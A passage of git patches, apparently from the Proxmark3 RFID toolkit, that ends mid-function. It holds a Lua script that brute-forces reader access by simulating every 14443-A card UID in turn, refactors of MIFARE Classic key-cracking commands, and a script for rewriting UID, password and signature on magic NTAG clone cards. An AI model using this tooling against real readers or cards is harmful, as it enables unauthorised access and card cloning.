-t 1000 +]] +usage = [[ + +script run hf_bruteforce -s start_id -e end_id -t timeout -d direction + +Arguments: + -h this help + -s 0-0xFFFFFFFF start id + -e 0-0xFFFFFFFF end id + -t 0-99999, pause timeout (ms) between cards (use the word 'pause' to wait for user input) +]] + + +local DEBUG = true + +--- +-- Debug print function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while result[i] do + dbg(result[i]) + i = i+1 + end + else + print('###', args) + end +end +--- +-- When errors occur +local function oops(err) + print('ERROR:', err) + core.clearCommandBuffer() + return nil, err +end +--- +-- Usage help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print('Example usage') + print(example) + print(usage) +end +--- +-- Exit message +local function exitMsg(msg) + print( string.rep('--',20) ) + print(msg) + print( string.rep('--',20) ) + print() +end +--- +-- Start +local function main(args) + + print( string.rep('--',20) ) + print( string.rep('--',20) ) + print() + local timeout = 0 + local start_id = 0 + local end_id = 0xFFFFFFFF + + for o, a in getopt.getopt(args, 'e:s:t:h') do + if o == 's' then start_id = a end + if o == 'e' then end_id = a end + if o == 't' then timeout = a end + if o == 'h' then return print(usage) end + end + + -- template + local command = 'hf 14a sim t 1 u %08X' + + print(' Bruteforcing MFC card numbers from 00000000 to FFFFFFFF using delay: '..timeout) + print('') + print( string.rep('--',20) ) + + for n = start_id, end_id do + local c = string.format( command, n ) + print(' Running: "'..c..'"') + core.console(c) + core.console('msleep '..timeout); + core.console('hw ping') + end + +end +main(args) + From 648c6a6adc7a8968aec73824c10f49e50c1436ef Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Dec 2019 09:52:27 +0100 Subject: [PATCH 125/418] style --- client/cmdhflist.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/client/cmdhflist.c b/client/cmdhflist.c index 589a81365..c9d0f2bb7 100644 --- a/client/cmdhflist.c +++ b/client/cmdhflist.c @@ -1096,7 +1096,7 @@ void annotateFelica(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { } void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { - switch (cmd[0]) { + switch (cmd[0]) { case LTO_REQ_STANDARD: snprintf(exp, size, "REQ Standard"); break; @@ -1111,7 +1111,7 @@ void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { break; case LTO_TEST_CMD_1: snprintf(exp, size, "TEST CMD 1"); - break; + break; case LTO_TEST_CMD_2: snprintf(exp, size, "TEST CMD 2"); break; @@ -1120,10 +1120,10 @@ void annotateLTO(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { break; case (LTO_READBLOCK & 0xF0): snprintf(exp, size, "READBLOCK"); - break; + break; case LTO_READBLOCK_CONT: snprintf(exp, size, "READBLOCK CONT"); - break; + break; case LTO_WRITEWORD: snprintf(exp, size, "WRITEWORD"); break; From d2330aa393c762a99a7903e2f7a6a6ea740df019 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Dec 2019 09:54:45 +0100 Subject: [PATCH 126/418] text --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 853a63a91..4f9f00c43 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] + - Add `hf_bruteforce.lua` - script bruteforces uid for 14a using hf 14a sim (@keld) - Add `tools\pm3_cs8.pl` - convert .pm3 files to wave format (@samyk) - Add `tools\pm3_amii_bin2eml.pl` - amiibo convering script (@samyk) - Chg `hf 14a info` - now detects "static / fixed" nonce tags (@iceman1001) From 094c9905b0bd83f2dc690d45d2a4ee3f53ea2240 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Dec 2019 10:20:07 +0100 Subject: [PATCH 127/418] hitag rework - WIP --- armsrc/lfadc.c | 241 +++++++++++++++++++++++++++++++++++++++++++++++++ armsrc/lfadc.h | 32 +++++++ 2 files changed, 273 insertions(+) create mode 100644 armsrc/lfadc.c create mode 100644 armsrc/lfadc.h diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c new file mode 100644 index 000000000..c192087c4 --- /dev/null +++ b/armsrc/lfadc.c @@ -0,0 +1,241 @@ +//----------------------------------------------------------------------------- +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// LF ADC read/write implementation +//----------------------------------------------------------------------------- + +#include "lfadc.h" +#include "lfsampling.h" +#include "fpgaloader.h" +#include "ticks.h" + +// Sam7s has several timers, we will use the source TIMER_CLOCK1 (aka AT91C_TC_CLKS_TIMER_DIV1_CLOCK) +// TIMER_CLOCK1 = MCK/2, MCK is running at 48 MHz, Timer is running at 48/2 = 24 MHz +// Carrier periods (T0) have duration of 8 microseconds (us), which is 1/125000 per second +// T0 = TIMER_CLOCK1 / 125000 = 192 +//#define T0 192 + +// Sam7s has three counters, we will use the first TIMER_COUNTER_0 (aka TC0) +// using TIMER_CLOCK3 (aka AT91C_TC_CLKS_TIMER_DIV3_CLOCK) +// as a counting signal. TIMER_CLOCK3 = MCK/32, MCK is running at 48 MHz, so the timer is running at 48/32 = 1500 kHz +// Carrier period (T0) have duration of 8 microseconds (us), which is 1/125000 per second (125 kHz frequency) +// T0 = timer/carrier = 1500kHz/125kHz = 1500000/125000 = 6 +#define T0 3 + +////////////////////////////////////////////////////////////////////////////// +// Global variables +////////////////////////////////////////////////////////////////////////////// + +bool rising_edge = false; +bool logging = true; +bool reader_mode = false; + +////////////////////////////////////////////////////////////////////////////// +// Auxiliary functions +////////////////////////////////////////////////////////////////////////////// + +bool lf_test_periods(size_t expected, size_t count) { + // Compute 10% deviation (integer operation, so rounded down) + size_t diviation = expected / 10; + return ((count > (expected - diviation)) && (count < (expected + diviation))); +} + +////////////////////////////////////////////////////////////////////////////// +// Low frequency (LF) adc passthrough functionality +////////////////////////////////////////////////////////////////////////////// +uint8_t previous_adc_val = 0; + +size_t lf_count_edge_periods_ex(size_t max, bool wait, bool detect_gap) { + size_t periods = 0; + volatile uint8_t adc_val; + //uint8_t avg_peak = 140, avg_through = 96; + uint8_t avg_peak = 130, avg_through = 106; + + while (!BUTTON_PRESS()) { + // Watchdog hit + WDT_HIT(); + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + adc_val = AT91C_BASE_SSC->SSC_RHR; + periods++; + + if (logging) logSample(adc_val, 1, 8, 0, 0); + + // Only test field changes if state of adc values matter + if (!wait) { + // Test if we are locating a field modulation (100% ASK = complete field drop) + if (detect_gap) { + // Only return when the field completely dissapeared + if (adc_val == 0) { + return periods; + } + } else { + // Trigger on a modulation swap by observing an edge change + if (rising_edge) { + if ((previous_adc_val > avg_peak) && (adc_val <= previous_adc_val)) { + rising_edge = false; + return periods; + } + } else { + if ((previous_adc_val < avg_through) && (adc_val >= previous_adc_val)) { + rising_edge = true; + return periods; + } + } + } + } + + previous_adc_val = adc_val; + if (periods == max) return 0; + } + } + if (logging) logSample(255, 1, 8, 0, 0); + return 0; +} + +size_t lf_count_edge_periods(size_t max) { + return lf_count_edge_periods_ex(max, false, false); +} + +size_t lf_detect_gap(size_t max) { + return lf_count_edge_periods_ex(max, false, true); +} + +void lf_reset_counter() { + // TODO: find out the correct reset settings for tag and reader mode + if (reader_mode) { + // Reset values for reader mode + rising_edge = false; + previous_adc_val = 0xFF; + } else { + // Reset values for tag/transponder mode + rising_edge = false; + previous_adc_val = 0xFF; + } +} + +bool lf_get_tag_modulation() { + return (rising_edge == false); +} + +void lf_wait_periods(size_t periods) { + lf_count_edge_periods_ex(periods, true, false); +} + +void lf_init(bool reader) { + reader_mode = reader; + + FpgaDownloadAndGo(FPGA_BITSTREAM_LF); + + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + if (reader) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC | FPGA_LF_ADC_READER_FIELD); + } else { + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_ADC); + } + + // Connect the A/D to the peak-detected low-frequency path. + SetAdcMuxFor(GPIO_MUXSEL_LOPKD); + + // Now set up the SSC to get the ADC samples that are now streaming at us. + FpgaSetupSsc(); + + // When in reader mode, give the field a bit of time to settle. + if (reader) SpinDelay(50); + + // Steal this pin from the SSP (SPI communication channel with fpga) and use it to control the modulation + AT91C_BASE_PIOA->PIO_PER = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_OER = GPIO_SSC_DOUT; + LOW(GPIO_SSC_DOUT); + + // Enable peripheral Clock for TIMER_CLOCK0 + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0); + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK; + + // Enable peripheral Clock for TIMER_CLOCK0 + AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC1); + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV4_CLOCK; + + // Clear all leds + LEDsoff(); + + // Reset and enable timers + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + + // Prepare data trace + if (logging) initSamplingBuffer(); + +} + +void lf_finalize() { + // Disable timers + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; + + // return stolen pin to SSP + AT91C_BASE_PIOA->PIO_PDR = GPIO_SSC_DOUT; + AT91C_BASE_PIOA->PIO_ASR = GPIO_SSC_DIN | GPIO_SSC_DOUT; + + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + + LEDsoff(); +} + +size_t lf_detect_field_drop(size_t max) { + size_t periods = 0; + volatile uint8_t adc_val; + + // usb check? + while (!BUTTON_PRESS()) { + // Watchdog hit + WDT_HIT(); + + if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { + periods++; + adc_val = AT91C_BASE_SSC->SSC_RHR; + + if (logging) logSample(adc_val, 1, 8, 0, 0); + + if (adc_val == 0) { + rising_edge = false; + return periods; + } + + if (periods == max) return 0; + } + } + return 0; +} + +inline void lf_modulation(bool modulation) { + if (modulation) { + HIGH(GPIO_SSC_DOUT); + } else { + LOW(GPIO_SSC_DOUT); + } +} + +inline void lf_manchester_send_bit(uint8_t bit) { + lf_modulation(bit != 0); + lf_wait_periods(16); + lf_modulation(bit == 0); + lf_wait_periods(16); +} + +bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len) { + + LED_B_ON(); + + // Send the content of the frame + for (size_t i = 0; i < frame_len; i++) { + lf_manchester_send_bit((frame[i / 8] >> (7 - (i % 8))) & 1); + } + + LED_B_OFF(); + return true; +} diff --git a/armsrc/lfadc.h b/armsrc/lfadc.h new file mode 100644 index 000000000..603d689a4 --- /dev/null +++ b/armsrc/lfadc.h @@ -0,0 +1,32 @@ +//----------------------------------------------------------------------------- +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// LF ADC read/write implementation +//----------------------------------------------------------------------------- + +#ifndef __LFADC_H__ +#define __LFADC_H__ + +#include "proxmark3_arm.h" +#include "common.h" +#include "cmd.h" +#include "util.h" +#include "string.h" + +extern bool logging; + +bool lf_test_periods(size_t expected, size_t count); +size_t lf_count_edge_periods(size_t max); +size_t lf_detect_gap(size_t max); +void lf_reset_counter(); +bool lf_get_tag_modulation(); +void lf_wait_periods(size_t periods); +void lf_init(bool reader); +void lf_finalize(); +size_t lf_detect_field_drop(size_t max); +bool lf_manchester_send_bytes(const uint8_t *frame, size_t frame_len); +void lf_modulation(bool mod); + +#endif // __LFADC_H__ From e701022257b221762c642d1143b4906ac4b71134 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Dec 2019 11:30:07 +0100 Subject: [PATCH 128/418] fix: hf search - iClass wrong return code check --- client/cmdhf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/cmdhf.c b/client/cmdhf.c index 181b10858..7f6c7facf 100644 --- a/client/cmdhf.c +++ b/client/cmdhf.c @@ -158,7 +158,7 @@ int CmdHFSearch(const char *Cmd) { PROMPT_CLEARLINE; PrintAndLogEx(INPLACE, "Searching for iClass / PicoPass tag..."); if (IfPm3Iclass()) { - if (readIclass(false, false) == 1) { + if (readIclass(false, false) == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "\nValid " _GREEN_("iClass tag / PicoPass tag") "found\n"); return PM3_SUCCESS; } From 0219c6b1250086b9828000fee45d7f7146ce6139 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 24 Dec 2019 11:30:46 +0100 Subject: [PATCH 129/418] more defines --- include/common.h | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/include/common.h b/include/common.h index 627846ff2..653000409 100644 --- a/include/common.h +++ b/include/common.h @@ -141,4 +141,10 @@ extern int DBGLEVEL; # define DEC2BCD(dec) HornerScheme(dec, 10, 0x10) #endif +// bit stream operations +#define TEST_BIT(data, i) (*(data + (i / 8)) >> (7 - (i % 8))) & 1 +#define SET_BIT(data, i) *(data + (i / 8)) |= (1 << (7 - (i % 8))) +#define CLEAR_BIT(data, i) *(data + (i / 8)) &= ~(1 << (7 - (i % 8))) +#define FLIP_BIT(data, i) *(data + (i / 8)) ^= (1 << (7 - (i % 8))) + #endif From c70ab5f5d4ea761be7b29a4c82471bf57f7987d6 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 25 Dec 2019 14:01:37 +0100 Subject: [PATCH 130/418] fix: hf mf chk / hf mf fchk / hf mf autopwn - Now correctly writes 0xFF's instead of zeros for unknown keys in binary key file.\nChg: hf mf nested - check for static/fixed nonce added --- client/cmdhfmf.c | 105 +++++++++++++++++++++------------------------ client/fileutils.c | 48 +++++++++++++-------- client/fileutils.h | 6 +-- 3 files changed, 80 insertions(+), 79 deletions(-) diff --git a/client/cmdhfmf.c b/client/cmdhfmf.c index dc42cae62..5a70488fe 100644 --- a/client/cmdhfmf.c +++ b/client/cmdhfmf.c @@ -483,6 +483,24 @@ static char *GenerateFilename(const char *prefix, const char *suffix) { return fptr; } +static int32_t initSectorTable(sector_t **src, int32_t items) { + + // initialize storage + (*src) = calloc(items, sizeof(sector_t)); + + if (*src == NULL) + return -1; + + // empty e_sector + for (int i = 0; i < items; ++i) { + for (int j = 0; j < 2; ++j) { + (*src)[i].Key[j] = 0xffffffffffff; + (*src)[i].foundKey[j] = false; + } + } + return items; +} + static int CmdHF14AMfDarkside(const char *Cmd) { uint8_t blockno = 0, key_type = MIFARE_AUTH_KEYA; uint64_t key = 0; @@ -1223,10 +1241,16 @@ static int CmdHF14AMfNested(const char *Cmd) { j++; } + // check if tag doesn't have static/fixed nonce + if (detect_classic_static_nonce() != 0) { + PrintAndLogEx(WARNING, "Static/fixed nonce detected. Quitting..."); + return PM3_EOPABORTED; + } + // check if we can authenticate to sector if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A'); - return 3; + return PM3_EOPABORTED; } if (cmdp == 'o') { @@ -1767,16 +1791,10 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { return usage_hf14_autopwn(); } - // Create the key storage stucture - e_sector = calloc(sectors_cnt, sizeof(sector_t)); - if (e_sector == NULL) return PM3_EMALLOC; - - // clear the key storage - for (int i = 0; i < sectors_cnt; i++) { - for (int j = 0; j < 2; j++) { - e_sector[i].Key[j] = 0; - e_sector[i].foundKey[j] = 0; - } + // create/initialize key storage structure + int32_t res = initSectorTable(&e_sector, sectors_cnt); + if (res != sectors_cnt) { + return PM3_EMALLOC; } // card prng type (weak=1 / hard=0 / select/card comm error = negative value) @@ -2252,11 +2270,10 @@ all_found: _YELLOW_("A") ":keyA " ")" ); - + // Dump the keys PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "saving keys"); - createMfcKeyDump(sectors_cnt, e_sector, GenerateFilename("hf-mf-", "-key.bin")); + createMfcKeyDump(GenerateFilename("hf-mf-", "-key"), sectors_cnt, e_sector); PrintAndLogEx(SUCCESS, "transferring keys to simulator memory (Cmd Error: 04 can occur)"); @@ -2343,7 +2360,6 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { FILE *f; char filename[FILE_PATH_SIZE] = {0}; char buf[13]; - char *fptr; uint8_t *keyBlock, *p; uint8_t sectorsCnt = 1; int i, keycnt = 0; @@ -2472,9 +2488,9 @@ static int CmdHF14AMfChk_fast(const char *Cmd) { (keyBlock + 6 * keycnt)[3], (keyBlock + 6 * keycnt)[4], (keyBlock + 6 * keycnt)[5]); } - // // initialize storage for found keys - e_sector = calloc(sectorsCnt, sizeof(sector_t)); - if (e_sector == NULL) { + // create/initialize key storage structure + int32_t res = initSectorTable(&e_sector, sectorsCnt); + if (res != sectorsCnt) { free(keyBlock); return PM3_EMALLOC; } @@ -2573,10 +2589,8 @@ out: } } - if (createDumpFile) { - fptr = GenerateFilename("hf-mf-", "-key.bin"); - createMfcKeyDump(sectorsCnt, e_sector, fptr); - } + if (createDumpFile) + createMfcKeyDump(GenerateFilename("hf-mf-", "-key"), sectorsCnt, e_sector); } free(keyBlock); @@ -2601,7 +2615,6 @@ static int CmdHF14AMfChk(const char *Cmd) { uint8_t keyType = 0; uint32_t keyitems = ARRAYLEN(g_mifare_default_keys); uint64_t key64 = 0; - char *fptr; int clen = 0; int transferToEml = 0; int createDumpFile = 0; @@ -2744,22 +2757,13 @@ static int CmdHF14AMfChk(const char *Cmd) { ); } - // initialize storage for found keys - e_sector = calloc(SectorsCnt, sizeof(sector_t)); - if (e_sector == NULL) { + // create/initialize key storage structure + int32_t res = initSectorTable(&e_sector, SectorsCnt); + if (res != SectorsCnt) { free(keyBlock); return PM3_EMALLOC; } - // empty e_sector - for (i = 0; i < SectorsCnt; ++i) { - e_sector[i].Key[0] = 0xffffffffffff; - e_sector[i].Key[1] = 0xffffffffffff; - e_sector[i].foundKey[0] = false; - e_sector[i].foundKey[1] = false; - } - - uint8_t trgKeyType = 0; uint16_t max_keys = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt; @@ -2866,10 +2870,9 @@ out: PrintAndLogEx(SUCCESS, "Found keys have been transferred to the emulator memory"); } - if (createDumpFile) { - fptr = GenerateFilename("hf-mf-", "-key.bin"); - createMfcKeyDump(SectorsCnt, e_sector, fptr); - } + if (createDumpFile) + createMfcKeyDump(GenerateFilename("hf-mf-", "-key"), SectorsCnt, e_sector); + free(keyBlock); free(e_sector); @@ -2887,22 +2890,6 @@ out: sector_t *k_sector = NULL; uint8_t k_sectorsCount = 16; -static void emptySectorTable() { - - // initialize storage for found keys - if (k_sector == NULL) - k_sector = calloc(k_sectorsCount, sizeof(sector_t)); - if (k_sector == NULL) - return; - - // empty e_sector - for (int i = 0; i < k_sectorsCount; ++i) { - k_sector[i].Key[0] = 0xffffffffffff; - k_sector[i].Key[1] = 0xffffffffffff; - k_sector[i].foundKey[0] = false; - k_sector[i].foundKey[1] = false; - } -} void showSectorTable() { if (k_sector != NULL) { @@ -2917,8 +2904,12 @@ void readerAttack(nonces_t data, bool setEmulatorMem, bool verbose) { uint64_t key = 0; bool success = false; - if (k_sector == NULL) - emptySectorTable(); + if (k_sector == NULL) { + int32_t res = initSectorTable(&k_sector, k_sectorsCount); + if (res != k_sectorsCount) { + return; + } + } success = mfkey32_moebius(&data, &key); if (success) { diff --git a/client/fileutils.c b/client/fileutils.c index 74cd6ab21..1677fe388 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -463,33 +463,43 @@ out: return retval; } -int createMfcKeyDump(uint8_t sectorsCnt, sector_t *e_sector, char *fptr) { - uint8_t tmpKey[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; - int i; +int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, sector_t *e_sector) { - if (fptr == NULL) { - return PM3_EINVARG; - } - - FILE *fkeys = fopen(fptr, "wb"); - if (fkeys == NULL) { - PrintAndLogEx(WARNING, "Could not create file " _YELLOW_("%s"), fptr); + if (e_sector == NULL) return PM3_EINVARG; + + char *fileName = newfilenamemcopy(preferredName, ".bin"); + if (fileName == NULL) return PM3_EMALLOC; + + FILE *f = fopen(fileName, "wb"); + if (f == NULL) { + PrintAndLogEx(WARNING, "Could not create file " _YELLOW_("%s"), fileName); return PM3_EFILE; } - PrintAndLogEx(SUCCESS, "Printing keys to binary file " _YELLOW_("%s")"...", fptr); + PrintAndLogEx(SUCCESS, "Generating binary key file"); - for (i = 0; i < sectorsCnt; i++) { - num_to_bytes(e_sector[i].Key[0], 6, tmpKey); - fwrite(tmpKey, 1, 6, fkeys); + uint8_t empty[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + uint8_t tmp[6] = {0, 0, 0, 0, 0, 0}; + + for (int i = 0; i < sectorsCnt; i++) { + if (e_sector[i].foundKey[0]) + num_to_bytes(e_sector[i].Key[0], sizeof(tmp), tmp); + else + memcpy(tmp, empty, sizeof(tmp)); + fwrite(tmp, 1, sizeof(tmp), f); } - for (i = 0; i < sectorsCnt; i++) { - num_to_bytes(e_sector[i].Key[1], 6, tmpKey); - fwrite(tmpKey, 1, 6, fkeys); + for (int i = 0; i < sectorsCnt; i++) { + if (e_sector[i].foundKey[0]) + num_to_bytes(e_sector[i].Key[1], sizeof(tmp), tmp); + else + memcpy(tmp, empty, sizeof(tmp)); + fwrite(tmp, 1, sizeof(tmp), f); } - fclose(fkeys); - PrintAndLogEx(SUCCESS, "Found keys have been dumped to " _YELLOW_("%s")" --> 0xffffffffffff has been inserted for unknown keys.", fptr); + fflush(f); + fclose(f); + PrintAndLogEx(SUCCESS, "Found keys have been dumped to " _YELLOW_("%s")"--> 0xffffffffffff has been inserted for unknown keys.", fileName); + free(fileName); return PM3_SUCCESS; } diff --git a/client/fileutils.h b/client/fileutils.h index baff10bca..3747e0850 100644 --- a/client/fileutils.h +++ b/client/fileutils.h @@ -137,14 +137,14 @@ int saveFileWAVE(const char *preferredName, int *data, size_t datalen); int saveFilePM3(const char *preferredName, int *data, size_t datalen); /** - * @brief Utility function to save a keydump. + * @brief Utility function to save a keydump into a binary file. * + * @param preferredName * @param sectorsCnt the used sectors * @param e_sector the keys in question - * @param fptr string pointer to the filename * @return 0 for ok, 1 for failz */ -int createMfcKeyDump(uint8_t sectorsCnt, sector_t *e_sector, char *fptr); +int createMfcKeyDump(const char *preferredName, uint8_t sectorsCnt, sector_t *e_sector); /** * @brief Utility function to load data from a binary file. This method takes a preferred name. From c2006e380855216bf3b868e025c2260c1f1e8faa Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 26 Dec 2019 00:09:44 +0100 Subject: [PATCH 131/418] add: mfu_magic.lua - script to talk with your Magic NTAG tag. --- client/luascripts/mfu_magic.lua | 658 ++++++++++++++++++++++++++++++++ 1 file changed, 658 insertions(+) create mode 100644 client/luascripts/mfu_magic.lua diff --git a/client/luascripts/mfu_magic.lua b/client/luascripts/mfu_magic.lua new file mode 100644 index 000000000..a10b5776d --- /dev/null +++ b/client/luascripts/mfu_magic.lua @@ -0,0 +1,658 @@ +local cmds = require('commands') +local getopt = require('getopt') +local lib14a = require('read14a') +local utils = require('utils') + +-- global +local DEBUG = false -- the debug flag +local bxor = bit32.bxor +local _password = nil +local err_lock = 'use -k or change cfg0 block' + +copyright = 'Copyright (c) 2017 IceSQL AB. All rights reserved.' +author = 'Christian Herrmann' +version = 'v1.1.1' +desc = 'This script enables easy programming of a MAGIC NTAG 21* card' +example = +[[ + -- wipe tag + script run mfu_magic -w + + -- wipe a locked down tag by giving the password + script run mfu_magic -k ffffffff -w + + --read magic tag configuration + script run mfu_magic -c + + -- set uid + script run mfu_magic -u 04112233445566 + + -- set pwd / pack + script run mfu_magic -p 11223344 -a 8080 + + -- set version to NTAG213 + script run mfu_magic -v 0004040201000f03 + + -- set signature + script run mfu_magic -s 1122334455667788990011223344556677889900112233445566778899001122 +]] +usage = +[[ +Usage: +script run mfu_magic -h -k -c -w -u -t -p -a -s -o -v + +Arguments: + -h this help + -c read magic configuration + -u UID (14 hexsymbols), set UID on tag + -t tag type to impersonate + 1 = UL_EV1 48k + 2 = UL_EV1 128k + 3 = NTAG 210 + 4 = NTAG 212 + 5 = NTAG 213 (true) + 6 = NTAG 215 (true) + 7 = NTAG 216 (true) + 8 = NTAG I2C 1K + 9 = NTAG I2C 2K + 10 = NTAG I2C 1K PLUS + 11 = NTAG I2C 2K PLUS + 12 = NTAG 213F (true) + 13 = NTAG 216F (true) + -p password (8 hexsymbols), set password on tag. + -a pack ( 4 hexsymbols), set pack on tag. + -s signature data (64 hexsymbols), set signature data on tag. + -o OTP data (8 hexsymbols), set one-time-pad data on tag. + -v version data (16 hexsymbols), set version data on tag. + -w wipe tag. You can specify password if the tag has been locked down. Fills tag with zeros and put default values for NTAG213 (like -t 5) + -k pwd to use with the wipe option +]] +--- +-- A debug printout-function +local function dbg(args) + if not DEBUG then return end + if type(args) == 'table' then + local i = 1 + while result[i] do + dbg(result[i]) + i = i+1 + end + else + print('###', args) + end +end +-- This is only meant to be used when errors occur +local function oops(err) + print("ERROR: ",err) + core.clearCommandBuffer() + return nil, err +end +--- +-- Usage help +local function help() + print(copyright) + print(author) + print(version) + print(desc) + print('Example usage') + print(example) + print(usage) +end +--- +-- set the global password variable +local function set_password(pwd) + if pwd == nil then _password = nil; return true, 'Ok' end + if #pwd ~= 8 then return nil, 'password wrong length. Must be 4 hex bytes' end + if #pwd == 0 then _password = nil end + _password = pwd + return true, 'Ok' +end +--- Picks out and displays the data read from a tag +-- Specifically, takes a usb packet, converts to a Command +-- (as in commands.lua), takes the data-array and +-- reads the number of bytes specified in arg1 (arg0 in c-struct) +-- @param usbpacket the data received from the device +local function getResponseData(usbpacket) + local resp = Command.parse(usbpacket) + local len = tonumber(resp.arg1) * 2 + return string.sub(tostring(resp.data), 0, len); +end +--- +-- +local function sendRaw(rawdata, options) + + local flags = lib14a.ISO14A_COMMAND.ISO14A_NO_DISCONNECT + + lib14a.ISO14A_COMMAND.ISO14A_RAW + + lib14a.ISO14A_COMMAND.ISO14A_APPEND_CRC + + local c = Command:newMIX{cmd = cmds.CMD_READER_ISO_14443a, + arg1 = flags, + -- arg2 contains the length, which is half the length of the ASCII-string rawdata + arg2 = string.len(rawdata)/2, + data = rawdata} + + return c:sendMIX(options.ignore_response) +end +--- +-- +local function send(payload) + local usb, err = sendRaw(payload,{ignore_response = false}) + if err then return oops(err) end + return getResponseData(usb) +end +--- +-- select tag and if password is set, authenticate +local function connect() + core.clearCommandBuffer() + + -- First of all, connect + info, err = lib14a.read(true, true) + if err then + lib14a.disconnect() + return oops(err) + end + core.clearCommandBuffer() + + --authenticate if needed using global variable + if _password then + send('1B'.._password) + end + return true +end +-- +-- Read magic configuration +local function read_config() + local info = connect() + if not info then return false, "Can't select card" end + + -- read PWD + local pwd = send("30F0"):sub(1,8) + + -- 04 response indicates that blocks has been locked down. + if pwd == '04' then lib14a.disconnect(); return nil, "can't read configuration, "..err_lock end + + -- read PACK + local pack = send("30F1"):sub(1,4) + + -- read SIGNATURE + local signature1 = send('30F2'):sub(1,32) + local signature2 = send('30F6'):sub(1,32) + + -- read VERSION + local version = send('30FA'):sub(1,16) + -- read config + local cardtype = send('30FC'):sub(1,2) + + local typestr = '' + if cardtype == '00' then typestr = 'NTAG 213' + elseif cardtype == '01' then typestr = 'NTAG 215' + elseif cardtype == '02' then typestr = 'NTAG 216' + end + + print('Magic NTAG 21* Configuration') + print(' - Type ', typestr, '(geniune cardtype)') + print(' - Password', pwd) + print(' - Pack ', pack) + print(' - Version ', version) + print(' - Signature', signature1..signature2) + + lib14a.disconnect() + return true, 'Ok' +end +--- +-- Write SIGNATURE data +local function write_signature(data) + + -- uid string checks + if data == nil then return nil, 'empty data string' end + if #data == 0 then return nil, 'empty data string' end + if #data ~= 64 then return nil, 'data wrong length. Should be 32 hex bytes' end + + local info = connect() + if not info then return false, "Can't select card" end + + print('Writing new signature') + + local b,c + local cmd = 'A2F%d%s' + local j = 2 + for i = 1, #data, 8 do + b = data:sub(i,i+7) + c = cmd:format(j,b) + local resp = send(c) + if resp == '04' then lib14a.disconnect(); return nil, 'Failed to write signature' end + j = j + 1 + end + lib14a.disconnect() + return true, 'Ok' +end +--- +-- Write PWD +local function write_pwd(pwd) + -- PWD string checks + if pwd == nil then return nil, 'empty PWD string' end + if #pwd == 0 then return nil, 'empty PWD string' end + if #pwd ~= 8 then return nil, 'PWD wrong length. Should be 4 hex bytes' end + + local info = connect() + if not info then return false, "Can't select card" end + + print('Writing new PWD ', pwd) + + local resp = send('A2F0'..pwd) + lib14a.disconnect() + if resp == '04' then + return nil, 'Failed to write password' + else + return true, 'Ok' + end +end +--- +-- Write PACK +local function write_pack(pack) + -- PACK string checks + if pack == nil then return nil, 'empty PACK string' end + if #pack == 0 then return nil, 'empty PACK string' end + if #pack ~= 4 then return nil, 'PACK wrong length. Should be 4 hex bytes' end + + local info = connect() + if not info then return false, "Can't select card" end + + print('Writing new 